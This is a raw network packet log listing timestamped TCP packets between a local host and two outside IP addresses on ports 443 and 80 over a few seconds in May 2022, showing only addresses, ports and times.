May 23, 2022 08:59:57.396745920 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.396823883 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.396927118 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.396954060 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.396980047 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.397003889 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.397032976 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.397105932 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.398684025 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.479593039 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.479756117 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.479769945 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.479795933 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.479862928 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.479872942 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.480189085 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.480268955 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.480310917 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.480393887 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.480771065 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.480889082 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.480897903 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.480922937 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.480972052 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.481211901 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.481302977 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.481329918 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.481395006 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.481544971 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.481615067 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.481662989 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.481695890 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.481731892 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.481873989 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.481961966 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.482007980 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.482083082 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.482218981 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.482295990 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.482342005 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.482414007 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.482589006 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.482672930 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.482716084 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.482805967 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.484069109 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.819547892 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.819581032 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.819705009 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.819715977 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.819741011 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:57.819778919 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.819801092 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:57.819961071 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.067328930 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:58.067352057 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:58.067424059 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:58.067483902 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.067507029 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:58.067537069 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:58.067565918 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.067581892 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.067591906 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:58.067606926 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.067614079 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.067629099 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.067634106 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 08:59:58.067679882 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.067795992 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.068975925 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 08:59:58.068995953 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 09:00:00.383903980 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.498775959 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.498954058 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.499557018 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.614132881 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677292109 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677325010 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677349091 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677361965 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677372932 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677385092 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677392960 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677397966 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677418947 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677419901 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677437067 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677443981 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677458048 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677468061 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677475929 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677491903 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677506924 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677517891 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.677524090 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.677553892 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.680294991 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792331934 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792390108 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792414904 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792432070 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792460918 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792505980 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792509079 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792527914 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792543888 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792552948 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792557955 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792561054 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792562008 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792568922 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792582989 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792586088 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792604923 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792613029 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792619944 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792634010 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792653084 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792659044 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792673111 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792674065 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792685986 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792704105 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792720079 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792762041 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792779922 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792798996 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792804956 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792820930 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792823076 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792840958 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.792844057 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792865038 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.792880058 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.793546915 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.907778978 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.907840967 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.907881975 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.907912970 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.907923937 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.907970905 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.907980919 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.907989979 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.908461094 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.908566952 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.908575058 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.908633947 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.908699989 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.908796072 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.908833027 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.908854008 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.908925056 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.908996105 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909053087 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909060955 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909068108 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909126997 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909183025 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909188986 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909214020 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909285069 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909327984 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909334898 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909343004 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909368038 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909410954 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909416914 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909423113 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909451962 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909486055 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909493923 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909506083 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909538031 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909576893 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909578085 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909584045 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909620047 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909693956 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909703970 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909712076 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909735918 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909776926 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909785986 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909792900 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909818888 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909858942 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909877062 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909883976 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909898996 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909902096 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909914970 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909940958 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909982920 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.909991026 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.909996986 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910022020 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910062075 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910074949 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910082102 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910104036 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910144091 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910155058 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910161972 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910187006 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910231113 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910238981 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910245895 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910269976 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910307884 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910314083 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910315037 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910320044 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910355091 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910396099 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:00.910403967 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910409927 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910721064 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:00.910731077 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.023885012 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.023957968 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.024004936 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.024058104 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.024092913 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.024127960 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.024141073 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.024163008 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.024168015 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.024172068 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.024174929 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.024199009 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.024220943 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.025028944 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.025809050 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.025996923 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026066065 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026072025 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026088953 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026102066 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026135921 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026164055 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026170969 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026186943 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026190042 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026218891 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026237011 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026274920 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026310921 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026319027 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026323080 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026343107 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026391983 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026396990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026592970 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026627064 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026704073 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026765108 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026824951 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026875019 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.026885986 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026890039 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026942015 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026946068 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.026957035 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027019024 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027055025 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027070999 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027076960 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027153969 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027188063 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027209044 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027214050 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027225018 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027266979 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027287960 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027291059 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027301073 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027335882 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027363062 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027369022 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027396917 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027434111 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027453899 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027457952 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027493000 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027555943 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027589083 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027590990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027595043 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027606964 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027623892 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027656078 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027661085 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027662039 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027698040 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027704954 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027709961 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027731895 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027766943 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027781010 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027786970 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027798891 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027798891 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027833939 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027868986 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027879953 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027885914 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027904034 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027939081 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.027951002 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027956009 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.027971983 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.028019905 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.028027058 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.028943062 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.030885935 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.139342070 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.139441013 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.139484882 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.139549971 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.139575005 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.139590025 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.139667034 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.139672995 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.139681101 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.139686108 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.139691114 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.139708996 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.139750004 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.139765978 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.139775038 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.139822006 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.140754938 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.140808105 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.140880108 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.140908003 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.140922070 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.140952110 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.140966892 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.141024113 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.141038895 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.141046047 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.141050100 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.141211987 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.142873049 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.142930031 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143043041 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 09:00:01.143155098 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 09:00:01.143213034 CEST	49174	80	192.168.2.22	66.84.31.11
